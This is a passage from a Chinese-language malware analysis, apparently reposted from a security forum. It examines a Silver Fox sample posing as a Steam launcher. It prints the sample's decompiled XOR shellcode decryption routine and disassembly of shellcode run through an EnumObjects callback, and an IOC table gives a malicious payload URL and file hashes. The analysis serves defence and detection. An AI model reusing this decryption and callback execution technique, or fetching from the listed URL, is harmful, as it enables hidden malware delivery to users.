文章总结: 该文档分析了一个伪装成Steam客户端启动器的恶意样本,其通过patchprotobuf注册路径在WinMain前触发恶意代码,下载并解密执行payload。关键发现包括使用自定义API哈希和隐蔽的代码插入手法。建议用户从官方渠道下载软件,避免运行非官方版本。 综合评分: 86 文章分类: 恶意软件
1.8 解密算法与执行阶段分析
下载完成后,样本调用0x5C40A0解密函数:
解密算法分析:
针对下载到RWX内存的shellcode做原地逐字节%20XOR%20变换之后修改buf执行,详情如下:
unsignedint __cdecl sub_5C40A0(
unsigned __int8%20*buf,
unsignedint size,
unsignedint key,
unsignedint mix_counter,
unsignedint xor_stride,
unsignedint unused_seed,
unsigned __int8%20shift)
{
%20_BYTE%20v8[8]; //%20[esp+4h]%20[ebp-24h]
unsignedint v9; //%20[esp+Ch]%20[ebp-1Ch]
unsignedint i; //%20[esp+10h]%20[ebp-18h]
unsignedint v11; //%20[esp+14h]%20[ebp-14h]
unsignedint v12; //%20[esp+18h]%20[ebp-10h]
unsignedint v13; //%20[esp+1Ch]%20[ebp-Ch]
unsignedint v14; //%20[esp+20h]%20[ebp-8h]
unsigned __int8%20v15; //%20[esp+27h]%20[ebp-1h]
%20v11%20=%20mix_counter;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20保存mix_counter后面自增/自减,用于混淆
%20v9%20=%20key;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20保存key真正xor解密时使用这个值
%20v14%20= 0xCAFEBABE;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20a%20=%200xCAFEBABE
%20v13%20= 0xDEADBEEF;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20b%20=%200xDEADBEEF
%20v12%20= 0x12345678;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20c%20=%200x12345678
for (%20i%20= 0;%20i%20<%20size;%20++i%20)%20 %20 %20 %20 %20 %20 %20 %20 %20 //%20i%20=%200;开始逐字节遍历shellcode
%20{%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20按%20a%20最低位选择扰动分支。
if (%20(v14%20& 1)%20!= 0 )
%20 %20{%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20a为奇数时,再按b最低位选择子分支
if (%20(v13%20& 1)%20!= 0 )
%20 %20 %20{
%20 %20 %20 %20v13%20-=%20v14;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20奇数/奇数分支:b%20-=%20a
%20 %20 %20 %20v12%20|=%20v14;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20奇数/奇数分支:c%20|=%20a
%20 %20 %20}
else
%20 %20 %20{
%20 %20 %20 %20v12%20+=%20v13%20^%20v14;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20奇数/偶数分支:c%20+=%20b%20^%20a
%20 %20 %20}
%20 %20}
else
%20 %20{
%20 %20 %20v14%20+=%20v13;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20偶数分支:a%20+=%20b
%20 %20 %20v13%20^=%20v12;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20偶数分支:b%20^=%20c
%20 %20}
%20 %20v14%20^=%20(v12%20>> 2)%20|%20(8 *%20v13);%20 %20 %20 %20 %20 %20 %20 //%20每轮统一状态混合:a%20^=%20(c%20>>%202)%20|%20(b%20<<%203)
%20 %20++v11;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20mix_counter++,随后会减回去
%20 %20--v11;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20mix_counter--,抵消上一条自增
%20 %20buf[i]%20^=%20v9%20>>%20(shift%20*%20(i%20% 4));%20 %20 %20 %20 %20 //%20核心解密:buf[i]%20^=%20key%20>>%20(shift%20*%20(i%20%%204));调用方传入shift=8
%20 %20++v11;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20mix_counter++,混淆
%20 %20--v11;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20mix_counter--,抵消上一条自增
%20 %20v8[0]%20= 1;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20构造固定表%20{1,2,3,4,5,6,7,8}
%20 %20v8[1]%20= 2;
%20 %20v8[2]%20= 3;
%20 %20v8[3]%20= 4;
%20 %20v8[4]%20= 5;
%20 %20v8[5]%20= 6;
%20 %20v8[6]%20= 7;
%20 %20v8[7]%20= 8;
%20 %20v15%20=%20v8[i%20% 8];%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20v15%20=%20table[i%20%%208]
%20 %20v14%20^=%20v15;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20a%20^=%20table[i%20%%208]
if (%20!(i%20% 5)%20)%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20判断%20i%20%%205%20是否为%200
%20 %20 %20v14%20^= 2 *%20v12;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20若%20i%20%%205%20==%200,则a%20^=%20c%20<<%201
%20}
return (((v14%20|%20v12)%20+%20(v13%20^%20v14))%20^%20v13)%20-%20(((v14%20|%20v12)%20+%20(v13%20^%20v14))%20&%20v12);//%20关键作用是原地解密buf
}
解密完成后,样本最终执行方式如下:
.text:005C3E29%20 %20 %20 %20 %20 %20 %20 %20 %20push%20 %20 0
.text:005C3E2B%20 %20 %20 %20 %20 %20 %20 %20 %20call%20 %20 [ebp+var_198]%20 %20 %20 %20;%20user32!GetDC(0)
.text:005C3E31%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_120],%20eax
.text:005C3E37%20 %20 %20 %20 %20 %20 %20 %20 %20push%20 %20 0
.text:005C3E39%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20ecx,%20[ebp+buf]%20 %20 %20 %20 %20 %20 %20 ;%20解密后的%20RWX%20buffer
.text:005C3E3C%20 %20 %20 %20 %20 %20 %20 %20 %20push%20 %20 ecx
.text:005C3E3D%20 %20 %20 %20 %20 %20 %20 %20 %20push%20 %20 2
.text:005C3E3F
.text:005C3E3F%20loc_5C3E3F:%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20CODE%20XREF:%20sub_5D63E0+135↓p
.text:005C3E3F%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20sub_60E0F0+99↓p%20...
.text:005C3E3F%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20edx,%20[ebp+var_120]
.text:005C3E45%20 %20 %20 %20 %20 %20 %20 %20 %20push%20 %20 edx
.text:005C3E46%20 %20 %20 %20 %20 %20 %20 %20 %20call%20 %20 [ebp+var_194]%20 %20 %20 %20;%20gdi32!EnumObjects(hdc,%202,%20buf,%200)
解密后的内存作为EnumObjects回调传入,从而让系统%20API%20在枚举%20GDI%20对象过程中执行远程shellcode。
至此该样本分析结束,建议大伙平时下载软件时擦亮眼睛看清楚其是否属于官方,毕竟现在的网络环境随便搜索个软件都有可能是银狐…
二、附录
2.1%20IOC
|%20类型%20|%20内容%20|
|%20—%20|%20—%20|
|%20URL%20|%20http://wy29d68v.com/1/lonn.bmp |
| MD5 | D58F9D3409892188764DA6F311E915FD |
| SHA1 | 98fe8fca4e9d670acffa041de3cc8c5ed8a04d82 |
| SHA256 | E0F6227F02D8BF6263938088AF91D3F073DB4A43A529BA46665CB2E90F612799 |
原文链接:https://forum.butian.net/share/4924
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:只会看监控的实习生 0x4010 0x4010《某银狐伪装Steam客户端启动器”Steam.exe“或”Telegram简体中文语言包“隐蔽投毒》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论